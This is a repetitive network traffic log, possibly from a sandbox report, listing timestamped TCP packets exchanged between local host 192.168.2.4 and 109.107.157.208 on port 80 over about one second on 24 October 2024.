Oct 24, 2024 13:27:01.693829060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.693857908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.693886042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.693887949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.693909883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.693916082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.693931103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.693943024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.693972111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.693974018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.693999052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.694000959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.694021940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.694027901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.694050074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.694055080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.694081068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.694084883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.694102049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.694133997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.694670916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.694703102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.694730997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.694751024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794142962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794235945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794274092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794311047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794326067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794326067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794363976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794363976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794372082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794409037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794444084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794481039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794517040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794614077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794614077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794614077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794614077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794614077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794663906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794698000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794733047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794734955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.794759989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.794785976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795523882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795576096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795593977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795613050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795624018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795649052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795664072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795686007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795707941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795722008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795736074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795758963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795775890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795809031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795811892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795865059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795865059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795922995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795923948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795958042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.795974970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.795991898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796011925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796026945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796039104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796062946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796086073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796097994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796113014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796133041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796149015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796169043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796186924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796204090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796220064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796238899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796256065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796272993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796293020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796324968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796736956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796772003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796798944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796807051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796821117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796840906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796849966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796875954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796894073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796911955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796931982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796947002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796967030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.796982050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.796999931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797015905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797030926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797050953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797065973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797084093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797103882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797136068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797631979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797708035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797784090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797818899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797844887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797853947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797887087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797889948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797905922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797923088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797941923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797957897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.797972918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.797988892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798013926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798022985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798058033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798060894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798072100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798110008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798616886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798671007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798696041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798706055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798717976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798741102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798753023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798775911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798794031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798810005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798827887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798845053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798862934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798880100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798892975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798914909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798928976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.798950911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.798965931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799000978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799551964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799587011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799612999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799618006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799635887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799653053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799665928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799688101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799706936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799724102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799751043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799757957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799774885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799793959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799808025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799828053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799845934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799856901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799877882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799890041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799901962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799923897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.799946070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.799969912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800422907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800458908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800483942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800493002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800508976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800528049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800544024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800561905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800580025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800596952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800612926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800631046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800647020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800666094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800683022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800700903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800719976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800735950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.800750017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.800791979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801374912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801429987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801443100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801469088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801481962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801503897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801525116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801537991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801561117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801573038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801584959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801608086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801624060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801642895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801660061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801676989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801693916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801712990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801731110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801745892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.801759005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.801799059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802303076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802339077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802362919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802372932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802385092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802407980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802423000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802442074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802459955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802476883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802495003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802510977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802530050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802546024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802556992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802581072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802602053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802614927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.802639008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.802668095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803051949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803086996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803112030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803122997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803136110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803158045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803173065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803193092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803210020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803226948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803242922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803255081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803261042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803276062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803277969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803292036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803308010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803330898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803333044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803373098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803391933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.803966999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803983927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.803998947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804013968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804029942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804032087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804045916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804049969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804061890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804076910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804090977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804096937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804109097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804122925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804125071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804141045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804147005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804157019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804172993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804184914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804229975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804734945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804750919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804766893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804783106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804795980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804800034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.804840088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.804873943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.805059910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805078030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805118084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.805145979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.805221081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805238008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805253983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805269957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805279016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.805285931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805301905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805309057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.805319071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805335045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805347919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.805354118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805368900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.805371046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805386066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.805409908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.805449963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.806123018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806139946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806154966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806171894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806185961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.806188107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806204081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806219101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806226969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.806236029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806252003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806265116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.806267977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806283951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806284904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.806299925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.806324959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.806368113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.807048082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807065010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807080030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807095051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807111025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807112932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.807126999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807142019 CEST	80	49730	109.107.157.208	192.168.2.4
